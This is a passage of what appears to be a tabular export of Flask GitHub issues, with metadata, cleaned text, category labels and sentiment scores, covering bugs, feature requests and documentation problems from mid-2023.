",docs,2023-08-07 13:42:07+00:00,2023-08-16 21:29:49+00:00,3,docs,9.3248,application dispatching docs reference removed function this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is the dispatch by path section of app dispatching docs reference now removed functions and these functions were deprecated in werkzeug and removed in werkzeug using the documented example as is produces s since flask requires werkzeug or later the documentation contain an example that works with werkzeug s updated api describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version,documentation,-0.5267
pallets/flask,1817709169,After initialization/before run hook,"I'm writing a Flask extension with non trivial setup and the need to do consistency checks before allowing it to run.
I have not found a hook/signal which would tell me that Flask is ready to run, before any request has arrived, so that I could plug these checks. Such a hook would be appreciated. Waiting for the first request is too late to report a configuration error.",,2023-07-24 06:11:24+00:00,2023-07-24 12:47:45+00:00,11,nan,0.2752,after initialization before run hook i m writing a flask extension with non trivial setup and the need to do consistency checks before allowing it to run i have not found a hook signal which would tell me that flask is ready to run before any request has arrived so that i could plug these checks such a hook would be appreciated waiting for the first request is too late to report a configuration error,others,0.4019
pallets/flask,1809042577,Non-string anchors no longer work,"Passing non-string values to `url_for` no longer works. For example,

```py
url_for('my_endpoint', _anchor=5)
```

It now fails with `TypeError: quote_from_bytes() expected bytes`.",,2023-07-18 04:08:54+00:00,2023-07-18 13:29:03+00:00,4,nan,0.389,non string anchors no longer work passing non string values to no longer works for example it now fails with,others,-0.5423
pallets/flask,1807302965,Give possibility to change the MAX_FORM_PARTS of werkzeug,"## Adding  MAX_FORM_PARTS to the config of flask
This feature allows for the customization of the maximum number of form parts when reading a request. The max_form_parts parameter has been introduced in Werkzeug version 2.2.3 - https://github.com/pallets/werkzeug/blob/4048509fb24196df67f944a24aaa4ce1afcba92f/src/werkzeug/wrappers/request.py#L90.


Real use case: Apache Superset uses Flask-AppBuilder for editing user roles in the application. Currently, when there are roles with 1000+ users, the editing process fails with a 413 error due to the max_form_parts limit, which cannot be changed in the current version of Flask.",,2023-07-17 08:56:26+00:00,2023-07-17 08:59:23+00:00,1,nan,0.002,give possibility to change the max form parts of werkzeug adding max form parts to the config of flask this feature allows for the customization of the maximum number of form parts when reading a request the max form parts parameter has been introduced in werkzeug version real use case apache superset uses flask appbuilder for editing user roles in the application currently when there are roles with users the editing process fails with a error due to the max form parts limit which cannot be changed in the current version of flask,others,-0.6705
pallets/flask,1806635860,Wrong Behavior in Blueprints,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
When the `import_name` of my blueprint is set to `__name__`, if the name of my python file is different from that of the upper-level folder, other loaded blueprints will become invalid.

just like it:
![image](https://github.com/pallets/flask/assets/63963655/25a5757c-a264-492e-9576-02111f7e74c6)


<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
```py
from flask import Flask
from gevent import pywsgi
import logging
import os
import importlib


class Server:
    def __init__(self):
        self.app = Flask(__name__, static_folder='./RKR', static_url_path='/')
        ...

    def start(self, debug: bool, port: int):
        if debug:
            logging.info(""DEBUG IS TRUE.Using Flask.App.Run ."")
            self.app.run(host='0.0.0.0', debug=True, port=port)
        else:
            logging.info(""Using WSGI ."")
            server = pywsgi.WSGIServer(('0.0.0.0', port), self.app)
            server.serve_forever()

    def load_blueprint(self):
        liss = list()
        modules = {}
        directory = "".\\src\\pages""
        lis = list()
        for root, dirs, files in os.walk(directory):
            f... [TRUNCATED]",,2023-07-16 16:10:08+00:00,2023-07-16 16:19:22+00:00,1,nan,0.0064,wrong behavior in blueprints this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is when the of my blueprint is set to if the name of my python file is different from that of the upper level folder other loaded blueprints will become invalid just like it image describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception py from flask import flask from gevent import pywsgi import logging import os import importlib class server def init self self app flask name static folder rkr static url path def start self debug bool port int if debug logging info debug is true using flask app run self app run host debug true port port else logging info using wsgi server pywsgi wsgiserver port self app server serve forever def load blueprint self liss list modules directory src pages lis list for root dirs files in os walk directory f truncated,others,-0.4215
pallets/flask,1806358806,class-based endpoints do not accept positional arguments,"There are some Flask extensions that have decorators that inject positional arguments into decorated view functions. The one that comes to mind is [webargs](https://webargs.readthedocs.io/en/latest/), in particular its [use_args](https://webargs.readthedocs.io/en/latest/framework_support.html#decorator-usage) decorator. Here is an example based on their documentation:

```python
from flask import Flask
from webargs import fields
from webargs.flaskparser import use_args

app = Flask(__name__)

@app.route(""/user/<int:uid>"")
@use_args({""per_page"": fields.Int()}, location=""query"")
def user_detail(args, uid):
    return (""The user page for user {uid}, showing {per_page} posts."").format(
        uid=uid, per_page=args[""per_page""]
    )
```

This is how the endpoint is invoked using `curl`:

```bash
$ curl -X GET http://localhost:5000/user/1\?per_page=20
The user page for user 1, showing 20 posts.%
```

After adapting this example to a `MethodView`, this is what we end up with:

```python
from flask import Flask
from flask.views import MethodView
from webargs import fields
from webargs.flaskparser import use_args

app = Flask(__name__)

class UserEndpoint(MethodView):
    decorators = [use_args({""per_page"": fields.Int()}, location=""query"")]

    def get(self, args, uid):
        return (""The user page for user {uid}, showing {per_page} posts."").format(
            uid=uid, per_page=args[""per_page""]
        )

app.add_url_rule(""/user/<int:uid... [TRUNCATED]",,2023-07-15 22:43:55+00:00,2023-08-02 13:30:46+00:00,3,nan,17.6159,class based endpoints do not accept positional arguments there are some flask extensions that have decorators that inject positional arguments into decorated view functions the one that comes to mind is webargs in particular its use args decorator here is an example based on their documentation this is how the endpoint is invoked using after adapting this example to a this is what we end up with python from flask import flask from flask views import methodview from webargs import fields from webargs flaskparser import use args app flask name class userendpoint methodview decorators use args per page fields int location query def get self args uid return the user page for user uid showing per page posts format uid uid per page args per page app add url rule user int uid truncated,others,0.3252
pallets/flask,1806354826,"Running tox -e style with docker causes ""An error has occurred: FatalError: git failed. Is it installed, and are you in a Git repository directory?""","Using the tox docker image to run the pre-commit check causes git error.

Steps to reproduce:

docker run -v `pwd`:/tests -it --rm 31z4/tox tox -e style


```
 ~/newgit/github/flask   main  docker run -v `pwd`:/tests -it --rm 31z4/tox tox -e style
style: commands[0]> pre-commit run --all-files
An error has occurred: FatalError: git failed. Is it installed, and are you in a Git repository directory?
Check the log at /home/tox/.cache/pre-commit/pre-commit.log
style: exit 1 (0.97 seconds) /tests> pre-commit run --all-files pid=15
  style: FAIL code 1 (1.11=setup[0.14]+cmd[0.97] seconds)
  evaluation failed :( (1.36 seconds)
 ✘  ~/newgit/github/flask   main 

```

log file Inside the container 
```


 tox@04e24a2a1e66:/tests$ cat  /home/tox/.cache/pre-commit/pre-commit.log
### version information

pre-commit version: 3.3.3
git --version: git version 2.34.1
sys.version:
    3.11.4 (main, Jun  7 2023, 12:45:48) [GCC 11.3.0]
sys.executable: /tests/.tox/style/bin/python
os.name: posix
sys.platform: linux

### error information

An error has occurred: FatalError: git failed. Is it installed, and are you in a Git repository directory?

Traceback (most recent call last):
  File ""/tests/.tox/style/lib/python3.11/site-packages/pre_commit/git.py"", line 58, in get_root
    cmd_output('git', 'rev-parse', '--show-cdup')[1].strip(),
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/tests/.tox/style/lib/python3.11/site-packages/pre_commi... [TRUNCATED]",,2023-07-15 22:29:08+00:00,2023-07-15 23:07:54+00:00,1,nan,0.0269,running tox e style with docker causes an error has occurred fatalerror git failed is it installed and are you in a git repository directory using the tox docker image to run the pre commit check causes git error docker run v tests it rm z tox tox e style log file inside the container tox e a a e tests cat home tox cache pre commit pre commit log version information pre commit version git version git version sys version main jun gcc sys executable tests tox style bin python os name posix sys platform linux error information an error has occurred fatalerror git failed is it installed and are you in a git repository directory traceback most recent call last file tests tox style lib python site packages pre commit git py line in get root cmd output git rev parse show cdup strip file tests tox style lib python site packages pre commi truncated,bug,-0.8625
pallets/flask,1793088874,flask don't reload if a filename is changed.,Flask will reload if I change some lines in the file. But it won't reload if I changed a filename. ,,2023-07-07 08:44:41+00:00,2023-07-07 12:55:31+00:00,1,nan,0.1742,flask don t reload if a filename is changed flask will reload if i change some lines in the file but it won t reload if i changed a filename,others,0.7227
pallets/flask,1791823629,Flask server doesn't reload when templates modifies,"Flask server doesn't reload when templates modifies

First I created a Flask server with a virtual environment with venv  and I installed python-dotenv and libsass following the instructions of their respective official websites.

After that I created a package called 'store' in a folder with the same name.

Then I created a 'store/templates/home.html' and a 'store/static/scss/style.scss' 

All works right but I need to reload the browser manually every time I have to modify  either *.html or *.scss files of the templates.

I expected browser reloads automatically every time I need to modify a template or css style.

Environment & modules:
- Windows 10
- Git Bash terminal
- VS Code
- Chrome 114

- Python version: 3.10
- Flask version: 2.3.2
- python-dotenv 1.0.0
- libsass 0.22.0
",,2023-07-06 15:53:58+00:00,2023-07-06 16:04:29+00:00,3,nan,0.0073,flask server doesn t reload when templates modifies flask server doesn t reload when templates modifies first i created a flask server with a virtual environment with venv and i installed python dotenv and libsass following the instructions of their respective official websites after that i created a package called store in a folder with the same name then i created a store templates home html and a store static scss style scss all works right but i need to reload the browser manually every time i have to modify either html or scss files of the templates i expected browser reloads automatically every time i need to modify a template or css style environment modules windows git bash terminal vs code chrome python version flask version python dotenv libsass,others,0.5267
pallets/flask,1788862998,Confusing usage of `app.json_provider_class` and `app.json`,"- Python version: 3.10.4
- Flask version: 2.3.2 

Recently I updated to Flask 2.3.2 and found that `JSONEncoder`  is removed, so I tried to find the new way to change the default json formatter. By searching the code, I found the class `DefaultJSONProvider` and wrote my own. And after I set `app.json_provider_class = CustomJsonProvider`, I found it does not work as expected. After a long time reading the source code and debugging, I realized that the `app.json` variable was not changed.

Just like what #5052 has discussed, I also think it's better to improve this API. Whether making `app.json_provider_class`  both `getter` and `setter` or making the API private might be better. I mean, not everyone will read the document of every framework, and when I want to modify the json formatter, I would like to just type `app.json` and see what the IDE will show.  Moreover, when using flask, it's rarely to see someone extends the class `Flask` to reset the `json_provider_class`, they just change the property of the global variable `app` instead.

If needed, I'm glad to PR.

",,2023-07-05 06:29:44+00:00,2023-07-05 12:47:50+00:00,1,nan,0.2626,confusing usage of and python version flask version recently i updated to flask and found that is removed so i tried to find the new way to change the default json formatter by searching the code i found the class and wrote my own and after i set i found it does not work as expected after a long time reading the source code and debugging i realized that the variable was not changed just like what has discussed i also think it s better to improve this api whether making both and or making the api private might be better i mean not everyone will read the document of every framework and when i want to modify the json formatter i would like to just type and see what the ide will show moreover when using flask it s rarely to see someone extends the class to reset the they just change the property of the global variable instead if needed i m glad to pr,others,0.8116
pallets/flask,1781902065,Uberweb: An idea for flask web-app generator,"Hello, there!
Thank you for this great project.

I've an idea for flask project : A Flask Web-app generator, just for fun ! (Like 'Django', 'Express.js', or something these)
It's call 'Uberweb'.
For more information, you can visit its git repository -> [UberWeb](https://github.com/Paradoxer32/uberweb)
Tell me your ideas about that.
If you liked, develop it or introduce it in flask docs !

Have a nice time !
-Ahoora",,2023-06-30 05:03:12+00:00,2023-06-30 13:13:39+00:00,1,nan,0.3406,uberweb an idea for flask web app generator hello there thank you for this great project i ve an idea for flask project a flask web app generator just for fun like django express js or something these it s call uberweb for more information you can visit its git repository uberweb tell me your ideas about that if you liked develop it or introduce it in flask docs have a nice time ahoora,others,0.957
pallets/flask,1775976378,"Seemingly Flask ""cached"" HTML page never loads updated version -- not using Flask Cache (or any cache)","I've got an HTML file being served from Flask as an iframe that is set to reload every 3 seconds. This is because I modify the file externally to Flask, but from the same python file that initiates Flask. I had what I thought was a great working program. I've finally squashed every bug and undesired function in my code that I've come across, so I figured lets make sure it works without debug mode. I turned it off, and started to use the program. Everything seemed ok for a little while, so I promptly forgot that it was no longer in debug mode. Then I started noticing strange things. Certain functions were being called via manual browser reloads that had not been previously called due to browser reloads. Then the big one: Somewhere, Flask has an undocumented cache. That file that reloads every 3 seconds keeps loading the same version of the file despite being changed. The file that I can open and inspect on my computer shows the expected changes to the file. The file that Flask sends to my browser does not. I tried other browsers. I cleared browser and Windows caches. I tried changes to the code. I tried restarting the program. I tried closing the command line. I googled, I overflowed my stacks. I checked my system processes for multiple copies of Python and flask running when I thought they were closed, etc. Nothing. I go back to debug mode and suddenly, it works again.

TLDR; Flask serves old versions of updated HTML files repeatedly if debug mode is turned off. No amount o... [TRUNCATED]",,2023-06-27 02:27:28+00:00,2023-06-27 02:35:54+00:00,0,nan,0.0059,seemingly flask cached html page never loads updated version not using flask cache or any cache i ve got an html file being served from flask as an iframe that is set to reload every seconds this is because i modify the file externally to flask but from the same python file that initiates flask i had what i thought was a great working program i ve finally squashed every bug and undesired function in my code that i ve come across so i figured lets make sure it works without debug mode i turned it off and started to use the program everything seemed ok for a little while so i promptly forgot that it was no longer in debug mode then i started noticing strange things certain functions were being called via manual browser reloads that had not been previously called due to browser reloads then the big one somewhere flask has an undocumented cache that file that reloads every seconds keeps loading the same version of the file despite being changed the file that i can open and inspect on my computer shows the expected changes to the file the file that flask sends to my browser does not i tried other browsers i cleared browser and windows caches i tried changes to the code i tried restarting the program i tried closing the command line i googled i overflowed my stacks i checked my system processes for multiple copies of python and flask running when i thought they were closed etc nothing i go back to debug mode and suddenly it works again tldr flask serves old versions of updated html files repeatedly if debug mode is turned off no amount o truncated,others,0.5927
pallets/flask,1770498183,make_response(…) won't accept a MappingProxyType object as a view's return-value,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

# `make_response(…)` Won't Accept a `MappingProxyType` Object As a View's Return-Value

# Replicative Demonstration

## app.py

```python
from types import MappingProxyType

from flask import Flask

app = Flask(__name__)

response_body_dict         = dict(            { 'spam': 'eggs' })
response_body_mappingproxy = MappingProxyType({ 'spam': 'eggs' })

assert response_body_dict == response_body_mappingproxy

@app.route(""/with-dict"")
def with_dict():
    return response_body_dict

@app.route(""/with-mappingproxytype"")
def with_mappingproxytype():
    return response_body_mappingproxy
```

## Shell (*Tab A*)

```bash
flask --debug run
```

## Shell (*Tab B*)

```bash
$ curl localhost:5000/with-dict
{
  ""spam"": ""eggs""
}
```

```bash
$ curl localhost:5000/with-mappingproxytype

Traceback (most recent call last):
  File ""/home/j/.local/share/virtualenvs/flask-mappingproxy-814v2y5D/lib/python3.11/site-packages/flask/app.py"", line 2213, in __call__
    return self.wsgi_app(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/j/.local/share/virtualenvs/flask-mappingproxy-814v2y5D/lib/python3.11/site-packages/flask/app.py"", line 2193, in wsgi_app
    response = self.handle_exception(... [TRUNCATED]",,2023-06-22 22:58:50+00:00,2023-06-23 00:03:03+00:00,1,nan,0.0446,make response won t accept a mappingproxytype object as a view s return value this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is won t accept a object as a view s return value replicative demonstration app py shell tab a shell tab b bash curl localhost with mappingproxytype traceback most recent call last file home j local share virtualenvs flask mappingproxy v y d lib python site packages flask app py line in call return self wsgi app environ start response file home j local share virtualenvs flask mappingproxy v y d lib python site packages flask app py line in wsgi app response self handle exception truncated,others,0.9607
pallets/flask,1767123391,usage of sqlalchemy in patterns documentation,"If you are using SQLAlchemy version 2.0.0 or above and are following the Flask documentation on creating a base class for models using the `declarative_base()` function, you should be aware that this function is now deprecated and will be removed in a future release.

To address this issue, you can replace the use of `declarative_base()` with the new `orm.declarative_base()` function, which is available in SQLAlchemy 2.0.0 and above. This new function provides the same functionality as the old `declarative_base()` function but is not deprecated.

alert of SQLAlchemy:
`MovedIn20Warning: The ``declarative_base()`` function is now available as sqlalchemy.orm.declarative_base(). (deprecated since: 2.0) (Background on SQLAlchemy 2.0 at: https://sqlalche.me/e/b8d9)
`


Environment:
- Python version: 3.10.6
- Flask version: 2.3.2
- SQLAlchemy: 2.0.16
",,2023-06-21 09:00:53+00:00,2023-06-21 16:32:49+00:00,1,nan,0.3138,usage of sqlalchemy in patterns documentation if you are using sqlalchemy version or above and are following the flask documentation on creating a base class for models using the function you should be aware that this function is now deprecated and will be removed in a future release to address this issue you can replace the use of with the new function which is available in sqlalchemy and above this new function provides the same functionality as the old function but is not deprecated alert of sqlalchemy function is now available as sqlalchemy orm declarative base deprecated since background on sqlalchemy at environment python version flask version sqlalchemy,documentation,-0.1857
pallets/flask,1766078042,Flask not handling POST data in some circumstances,"I am trying to use Flask as a lightweight webserver to accept data from a WiFi-enabled weather station, which makes an HTTP POST request every 60 seconds. I captured the request using an http echo server:

```json
{
    ""path"": ""/report"",
    ""headers"": {
        ""host"": ""192.168.0.65"",
        ""connection"": ""Close"",
        ""content-type"": ""application/x-www-form-urlencoded"",
        ""content-length"": ""493""
    },
    ""method"": ""POST"",
    ""body"": ""PASSKEY=573AF40DB42C66057D20631F706CD585&stationtype=EasyWeatherPro_V5.1.1&runtime=1&dateutc=2023-06-20+14:56:02&tempinf=73.4&humidityin=49&baromrelin=29.917&baromabsin=29.536&tempf=72.5&humidity=58&winddir=251&windspeedmph=1.12&windgustmph=2.24&maxdailygust=9.17&solarradiation=293.99&uv=2&rainratein=0.000&eventrainin=0.638&hourlyrainin=0.000&dailyrainin=0.638&weeklyrainin=0.650&monthlyrainin=0.650&yearlyrainin=0.650&totalrainin=0.650&wh65batt=0&freq=868M&model=WS2900_V2.01.18&interval=60"",
    ""fresh"": false,
    ""hostname"": ""192.168.0.65"",
    ""ip"": ""::ffff:10.1.199.64"",
    ""ips"": [],
    ""protocol"": ""http"",
    ""query"": {},
    ""subdomains"": [],
    ""xhr"": false,
    ""os"": {
        ""hostname"": ""http-webhook-6675856576-j2jzb""
    },
    ""connection"": {}
}
```

I made a `curl` command so I could simulate these POST requests for development & testing:

```
curl -d ""PASSKEY=573AF40DB42C66057D20631F706CD585&stationtype=EasyWeatherPro_V5.1.1&runtime=1&dateutc=2023-06-20+14:56:02&tempinf=73.4&humidityi... [TRUNCATED]",,2023-06-20 20:07:52+00:00,2023-06-20 20:32:57+00:00,2,nan,0.0174,flask not handling post data in some circumstances i am trying to use flask as a lightweight webserver to accept data from a wifi enabled weather station which makes an http post request every seconds i captured the request using an http echo server i made a command so i could simulate these post requests for development testing curl d passkey af db c d f cd stationtype easyweatherpro v runtime dateutc tempinf humidityi truncated,others,0.3818
pallets/flask,1759182411,Blueprint before_app_first_request vs record_once usage discrepancy,"I'm working on upgrading from Flask 2.2.x to 2.3.x and I use the .before_app_first_request decorator in one of my blueprints. Following the deprecation warning, I replaced .before_app_first_request with .record_once and it was not a drop-in replacement. Not sure if this an issue in code implementation or unclear documentation.

```
from flask import Blueprint, Flask, current_app

blueprint = Blueprint('my_blueprint', __name__)
@blueprint.before_app_first_request
def my_test_function():
    current_app.logger.info('testing')

app = Flask(__name__)
app.register_blueprint(blueprint)
app.run()
```

replace .before_app_first_request with .record_once and it will no longer run

Environment:

- Python version: 3.10.11
- Flask version: 2.2.2
",,2023-06-15 16:27:12+00:00,2023-06-15 16:42:46+00:00,0,nan,0.0108,blueprint before app first request vs record once usage discrepancy i m working on upgrading from flask x to x and i use the before app first request decorator in one of my blueprints following the deprecation warning i replaced before app first request with record once and it was not a drop in replacement not sure if this an issue in code implementation or unclear documentation replace before app first request with record once and it will no longer run environment python version flask version,feature,-0.6954
pallets/flask,1755973716,"Config.from_file() feeds descriptor, not string to tomllib.loads()","**outline of what the bug is:**

https://github.com/pallets/flask/blob/main/src/flask/config.py#L236 

...has us loading from a .toml file path

**Describe how to replicate the bug.**

https://docs.python.org/3/library/tomllib.html provides `load()` for `rb` files, and `loads()` for .toml strings.

**Describe the expected behavior that should have happened but didn't.**

To get to desired behavior, I added another function to read in the .toml and provide it to tomllib.loads()

```
import tomllib
from flask import Flask


def tomllib_loads(fp):
    return tomllib.loads(fp.read())


def create_app(config_filename):
    app = Flask(__name__)
    app.config.from_file(config_filename, load=tomllib_loads, silent=False, text=True)

    @app.route(""/hello"")
    def hello():
        return ""Hello, World!""

    return app

```

Environment:

- Python version: 3.11.3
- Flask version: 2.3.2
",,2023-06-14 03:13:23+00:00,2023-06-14 03:29:59+00:00,3,nan,0.0115,config from file feeds descriptor not string to tomllib loads outline of what the bug is has us loading from a toml file path describe how to replicate the bug provides for files and for toml strings describe the that should have happened but didn t to get to desired behavior i added another function to read in the toml and provide it to tomllib loads environment python version flask version,others,-0.09
pallets/flask,1749664804,Switch to importlib breaks scripts with `app.run()`,"With a trivial script [using `app.run()`](https://flask.palletsprojects.com/en/2.3.x/server/#in-code) such as:

```python3
from flask import Flask

app = Flask(__name__)

if __name__ == ""__main__"":
    app.run(debug=True)
```

The current git `main` breaks with:

```pytb
Traceback (most recent call last):
  File ""/home/florian/tmp/flask/app.py"", line 3, in <module>
    app = Flask(__name__)
          ^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/app.py"", line 376, in __init__
    instance_path = self.auto_find_instance_path()
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/app.py"", line 630, in auto_find_instance_path
    prefix, package_path = find_package(self.import_name)
                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/scaffold.py"", line 898, in find_package
    package_path = _find_package_path(import_name)
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/scaffold.py"", line 858, in _find_package_path
    spec = importlib.util.find_spec(root_mod_name)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""<frozen importlib.util>"", line 114, in find_spec
ValueError: __main__.__spec__ is None
```

This seems to be a regression due to 84e11a1e827c0f55f9b9ee15952eddcf8a6492e0 from #5157.

Environment:

- Python version: 3.11.4
- Flask version: git main
",,2023-06-09 10:56:29+00:00,2023-06-09 16:39:05+00:00,3,nan,0.2379,switch to importlib breaks scripts with with a trivial script using such as the current git breaks with this seems to be a regression due to e a e c f f b ee eddcf a e from environment python version flask version git main,others,-0.0258
pallets/flask,1746137437,FLASK_APP is unavailable when FlaskGroup is not used,"When cli group created with [flask.cli.AppGroup](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L362) and returned to cli instead of default [flask.cli.FlaskGroup](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L481) [flask.cli.ScriptInfo](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L266) failing to locate application with `FLASK_APP` environment variable with this error message:
```
Error: Could not locate a Flask application. Use the 'flask --app' option, 'FLASK_APP' environment variable, or a 'wsgi.py' or 'app.py' file in the current directory.
```

Here is a simple example of executable file `main.py`:
```python
#!/usr/bin/env python
from os import environ

import click
from flask import Flask
from flask.cli import AppGroup

cli = AppGroup(""main"")


@cli.command()
def test():
    click.echo(""Test command"")


def create_app() -> Flask:
    app = Flask(__name__)
    app.cli.add_command(cli)
    return app


if __name__ == ""__main__"":
    environ.setdefault(""FLASK_APP"", ""main:create_app"")
    cli()
```

If run this file with flask<2.2.0:
```
$ ./main.py test
Test command
```
And with flask>=2.2.0:
```
$ ./main.py test
Usage: main.py test [OPTIONS]
Try 'main.py test --help' for help.

Error: Could not locate a Flask application. Use the 'flask --app' option, 'FLASK_APP' environment variable, or a 'wsgi.py' or 'app.py' file in the current directory.
```

I think this error is caused by [th... [TRUNCATED]",,2023-06-07 15:12:51+00:00,2023-06-07 15:55:02+00:00,4,nan,0.0293,flask app is unavailable when flaskgroup is not used when cli group created with flask cli appgroup and returned to cli instead of default flask cli flaskgroup flask cli scriptinfo failing to locate application with environment variable with this error message here is a simple example of executable file if run this file with flask and with flask i think this error is caused by th truncated,others,-0.8519
pallets/flask,1730155638,Python3.12.0b1 test_max_cookie_size error,"`test_max_cookie_size` fails with python3.12, see the following error:
```
====================================================== FAILURES =======================================================
________________________________________________ test_max_cookie_size _________________________________________________

app = <Flask 'flask_test'>, client = <FlaskClient <Flask 'flask_test'>>, recwarn = WarningsRecorder(record=True)

    def test_max_cookie_size(app, client, recwarn):
        app.config[""MAX_COOKIE_SIZE""] = 100

        # outside app context, default to Werkzeug static value,
        # which is also the default config
        response = flask.Response()
        default = flask.Flask.default_config[""MAX_COOKIE_SIZE""]
        assert response.max_cookie_size == default

        # inside app context, use app config
        with app.app_context():
            assert flask.Response().max_cookie_size == 100

        @app.route(""/"")
        def index():
            r = flask.Response("""", status=204)
            r.set_cookie(""foo"", ""bar"" * 100)
            return r

        client.get(""/"")
        for w in recwarn:
            print('---')
            print(w.message)
>       assert len(recwarn) == 1
E       assert 4 == 1
E        +  where 4 = len(WarningsRecorder(record=True))

app        = <Flask 'flask_test'>
client     = <FlaskClient <Flask 'flask_test'>>
default    = 4093
index      = <function test_max_cookie_size.<locals>.index at 0... [TRUNCATED]",,2023-05-29 06:22:59+00:00,2023-05-29 06:30:30+00:00,1,nan,0.0052,python b test max cookie size error fails with python see the following error failures test max cookie size app client recwarn warningsrecorder record true def test max cookie size app client recwarn app config max cookie size outside app context default to werkzeug static value which is also the default config response flask response default flask flask default config max cookie size assert response max cookie size default inside app context use app config with app app context assert flask response max cookie size app route def index r flask response status r set cookie foo bar return r client get for w in recwarn print print w message assert len recwarn e assert e where len warningsrecorder record true app client default index index at truncated,bug,-0.5859
pallets/flask,1723540603,config from datafile docs,"There is a small discrepancy in the docs related to configuration from datafiles.  

See [Config Docs](https://flask.palletsprojects.com/en/2.3.x/config/#configuring-from-data-files)
and [from_file API](https://flask.palletsprojects.com/en/2.3.x/api/#flask.Config.from_file)

In order to keep consistency and minimize confusion, it should be similar. ",,2023-05-24 09:20:22+00:00,2023-05-24 18:18:22+00:00,2,nan,0.3736,config from datafile docs there is a small discrepancy in the docs related to configuration from datafiles see config docs and from file api in order to keep consistency and minimize confusion it should be similar,documentation,-0.296
pallets/flask,1723206985,Unexpected HTML in JSON,"I work with a class like this:

```python
class Reference:
    def __init__(self, url):
        self.url = url

    def __str__(self):
        return self.url

    def __html__(self):
        markup = Markup('<a href=""%s"" class=""ref"">%s</a>')
        return markup % (self.url, self.url)
```

This works well when I use this in a HTML template. However, when I include such an object in a JSON response, I get the HTML markup instead of the string version. I can think of very few cases in which that is useful.

This is a minor inconvenience because I can manually convert the object to a string before including it in the JSON response. But still, maybe this could be improved. I can think of different options:

- Do not use `__html__()` in jsonify
- Use `__str__()` in jsonify, with a higher priority than `__html__()`
- Use a new method `__json__()` in jsonify, with highest priority

The last option has the benefit of being backwards-compatible.",,2023-05-24 05:38:04+00:00,2023-05-24 18:16:14+00:00,1,nan,0.5265,unexpected html in json i work with a class like this this works well when i use this in a html template however when i include such an object in a json response i get the html markup instead of the string version i can think of very few cases in which that is useful this is a minor inconvenience because i can manually convert the object to a string before including it in the json response but still maybe this could be improved i can think of different options do not use in jsonify use in jsonify with a higher priority than use a new method in jsonify with highest priority the last option has the benefit of being backwards compatible,others,0.8922
pallets/flask,1715546976,Wrong syntax in JavaScript patterns documentation,"In the section *Making a Request with fetch* the syntax of the `FormData.append` command is wrong:

https://github.com/pallets/flask/blob/d0bf462866289ad8bfe29b6e4e1e0f531003ab34/docs/patterns/javascript.rst?plain=1#L128-L129

See [`FormData.append` syntax on MDN](https://developer.mozilla.org/en-US/docs/Web/API/FormData/append#syntax).

Environment:

- Python version: all
- Flask version: 2.3.x
",,2023-05-18 12:23:14+00:00,2023-05-18 12:35:39+00:00,0,nan,0.0086,wrong syntax in javascript patterns documentation in the section making a request with fetch the syntax of the command is wrong see syntax on mdn environment python version all flask version x,documentation,-0.7351
pallets/flask,1714920582,Accept the same arguments as dict constructor for template rendering functions,"The template rendering functions currently only accept named arguments to build the context dictionary passed to `jinja2.Template.render()`. While unpacking is easy enough, it would be nice to be able to use the same arguments as the dict constructor (like how [Jinja's render function works](https://jinja.palletsprojects.com/en/3.1.x/api/#jinja2.Template.render)).

Examples:
```
flask.render_template(""index.html"", {""greeting"": ""Hello"", ""name"": ""World""})
flask.render_template(""index.html"", {""greeting"": ""Hello""}, name=""World"")
```

I'll link a PR in case this is something people would like.
",,2023-05-18 03:21:35+00:00,2023-05-18 14:12:11+00:00,1,nan,0.4518,accept the same arguments as dict constructor for template rendering functions the template rendering functions currently only accept named arguments to build the context dictionary passed to while unpacking is easy enough it would be nice to be able to use the same arguments as the dict constructor like how jinja s render function works examples i ll link a pr in case this is something people would like,others,0.7506
pallets/flask,1714044011,"After switching to latest flask, app timeouts on some requests","When I wanted to upgrade from 2.2.x to 2.3.x I encountered problem with timeouts on some requests, without any error log about it.

Any ideas please ? What can cause it?

- Python version: 3.10
- Flask version: 2.3.2
- gunicorn: 20.1.0
- gevent: 22.10.2
- nginx: 1.18.0",,2023-05-17 14:30:07+00:00,2023-05-17 14:38:36+00:00,0,nan,0.0059,after switching to latest flask app timeouts on some requests when i wanted to upgrade from x to x i encountered problem with timeouts on some requests without any error log about it any ideas please what can cause it python version flask version gunicorn gevent nginx,feature,0.2686
pallets/flask,1707372204,AttributeError: 'Flask' object has no attribute 'before_first_request',"When I run code in [deepzoom](https://github.com/openslide/openslide-python/blob/main/examples/deepzoom/deepzoom_multiserver.py), it gives me **AttributeError: 'Flask' object has no attribute 'before_first_request'**
<img width=""659"" alt=""截屏2023-05-12 18 25 03"" src=""https://github.com/pallets/flask/assets/48406770/fa211b95-b545-4fa0-be8b-94c8b98a85c8"">
I don't known anything about flask. I'm just a student who want to view the image.
